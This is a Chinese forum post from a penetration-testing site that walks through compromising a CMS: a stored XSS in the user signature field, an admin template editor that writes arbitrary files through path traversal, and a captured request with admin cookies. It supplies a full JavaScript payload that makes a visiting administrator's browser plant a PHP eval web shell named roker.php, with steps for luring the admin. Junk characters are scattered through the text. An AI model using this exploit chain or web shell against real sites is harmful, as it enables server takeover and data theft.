这个cms 以前 90有人发了个getshell,当时 是后台验证文件的问题 官网已经修补了,所以重新下了源码 因为 后台登入 还需要认证码 所以 注入就没看了。- N& W4 p4 ]: L8 f& g% v 存在 xss 漏洞文件 user/member/skin_edit.php 本帖隐藏的内容<tr><td style="height:130px;"><span class="t"><i>*</i>签名: 2 I$ P4 ^ n3 ~0 M, c2 U </span><textarea style="width:435px;height:120px;" id="content" name="CS_Qianm"><?php echo $cscms_qianm?># Z: ?1 |$ R( [$ h9 Z </textarea></td></tr>; {6 q, ?- }* B" k* g' | user/do.php " ?8 k* ~5 y$ I5 u% U5 Q3 G$ V& ~! ? if($op=='zl'){ //资料( P! ?% X8 ]& T+ H. d, q if(empty($CS_QQ)||empty($CS_Nichen)||empty($CS_City)||empty($CS_Email)) exit(Msg_Error('抱歉,请把资料填写完整!','javascript:history.go(-1);')); $sql="update ".Getdbname('user')." set CS_Nichen='".$CS_Nichen."',CS_Email='".$CS_Email."',7 M) w. o/ }& _. q( h CS_Sex=".$CS_Sex.",CS_City='".$CS_City."',CS_QQ='".$CS_QQ."',CS_Qianm='".$CS_Qianm."' where CS_Name='".$cscms_name."'";! g! C8 l% a S2 y2 Y% M : m$ X) B. ]4 |9 D4 _ if($db->query($sql)){8 L9 b. }, G1 k- y* Y Q# M5 P 9 @/ c8 ^# M* C A' W& M) X2 z4 \1 A exit(Msg_Error('恭喜您,修改成功了!','javascript:history.go(-1);'));2 a' F8 G* k% r % \: {" S5 y- u }else{9 Q% c: W w, l6 P : f! E% @/ Q' s2 c1 K exit(Msg_Error('抱歉,修改失败了!','javascript:history.go(-1);'));- i/ K9 @8 a& ^+ a, h- f; T+ A$ o ; e- s( y/ @3 O# R* Q: K, I } 6 ?6 a. ~0 s8 A+ D" b7 V% K 没有 过滤导致xss产生。4 m0 z: C8 W3 u" {; P/ N 后台 看了下 很奇葩的是可以写任意格式文件。。 抓包。。* J* p% m+ |3 K5 c- b " F( c: s+ r! ~# n) S. @ 本帖隐藏的内容POST /admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/ HTTP/1.1 + q q; t/ P, k4 G8 J3 V Accept: text/html, application/xhtml+xml, */*. w6 }- z. }6 C# Z7 f- n % d8 o7 _% N6 x8 w, k Referer: http://127.0.0.1/admin/skins/ski ... l/&name=aaa.php, F' m7 {) n" z7 X Accept-Language: zh-CN+ i& D# T4 Q. p- P' ? User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0) Content-Type: application/x-www-form-urlencoded4 A! [0 c; x8 g6 ~2 `! s 3 L% O/ F" F" B Accept-Encoding: gzip, deflate- |- J. A, S' ^- m/ r. a / I( n- q, Z: u' n$ U6 t! @ Host: 127.0.0.14 Y |8 d0 h0 O! d ) S( o) i' W+ U M, [8 N( U' I Content-Length: 388 w7 U6 v, P1 p0 t/ Q4 m % j. x6 e; q- l: f" [ DNT: 1 * W3 I/ o! B4 K/ Y/ ` Connection: Keep-Alive9 ?3 e( D* x8 _1 g& N" D1 | Cache-Control: no-cache Cookie: CS_AdminID=1; CS_AdminUserName=aaaa; CS_AdminPassWord=12949e83a49a0989aa46ab7e249ca34d; CS_Quanx=0_1%2C1_1%2C1_2%2C1_3%2C1_4%2C1_5%2C2_1%2C2_2%2C2_3%2C2_4%2C2_5%2C2_6%2C2_7%2C3_1%2C3_2%2C3_3%2C3_4%2C4_1%2C4_2%2C4_3%2C4_4%2C4_5%2C4_6%2C4_7%2C5_1%2C5_2%2C5_3%2C5_4%2C5_5%2C6_1%2C6_2%2C6_3%2C7_1%2C7_2%2C8_1%2C8_2%2C8_3%2C8_4; CS_Login=980bb0dfb9c7ba8ac7676b6f4eea2c4b; CS_AdminUP=1; cs_id=2; cs_name=test; PHPSESSID=36db4a484bdbd090ad9846e3b7f65594 2 S" |2 m- [ ~0 C; L name=aaa.php&content=%3Cs%3E%3Ca%25%3E$ M9 C0 u' n1 r* B! j8 Y8 I+ h 1 G/ D' r) X, W$ f2 f+ Z 于是 构造js如下。 3 [( W# F8 S* O5 M% e7 j 本帖隐藏的内容<script> ( ]0 `" r7 q5 x) e& P" Q5 d" u! M thisTHost = top.location.hostname; thisTHost = "http://" + thisTHost + "/admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/"; 4 I# C0 Q: ^9 p0 Z* y function PostSubmit(url, data, msg) { + o& q6 O8 P6 j var postUrl = url; 6 @8 N( ^8 n; X/ T# i# } var postData = data; var msgData = msg; var ExportForm = document.createElement("FORM"); document.body.appendChild(ExportForm); ExportForm.method = "POST"; 4 U J9 R6 o- f/ L8 M6 Q% d1 ~7 J var newElement = document.createElement("input"); + E0 M: b, R& u0 g f newElement.setAttribute("name", "name"); . N! k7 y1 G# I% V: n8 X n1 C8 A; t newElement.setAttribute("type", "hidden"); 8 \, ^5 `- ~) [! Q var newElement2 = document.createElement("input"); % c5 W* p6 u3 m& H. p newElement2.setAttribute("name", "content"); newElement2.setAttribute("type", "hidden"); ( d# i" g8 E2 w' z3 q9 ? ExportForm.appendChild(newElement); ExportForm.appendChild(newElement2); newElement.value = postData; newElement2.value = msgData; $ V! o. X" X' ]2 @( Z8 k( D' R ExportForm.action = postUrl; & y$ d2 A. h8 w9 Y ExportForm.submit(); }; PostSubmit(thisTHost,"roker.php","<?php @eval($_POST[123]);?>"); / p d; Y0 A8 ?2 W! G& ` </script> / Z. `1 E6 @4 L E5 o ) v9 F/ A+ c# q8 H7 } http://127.0.0.1/user/space.php?ac=edit&op=zl 修改签名处 插入7 j. a6 Q3 j/ X: U. M7 Z5 f' s 用你的账号给管理写个 私信 或者让他访问 你的主页http://127.0.0.1/home/?uid=2(uid自己改)1 y! u3 Y% m0 g9 J6 L Q" V- @ 就会 在 skins\index\html\目录下生成 roker.php 一句话。 |
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) | Powered by Discuz! X3.2 |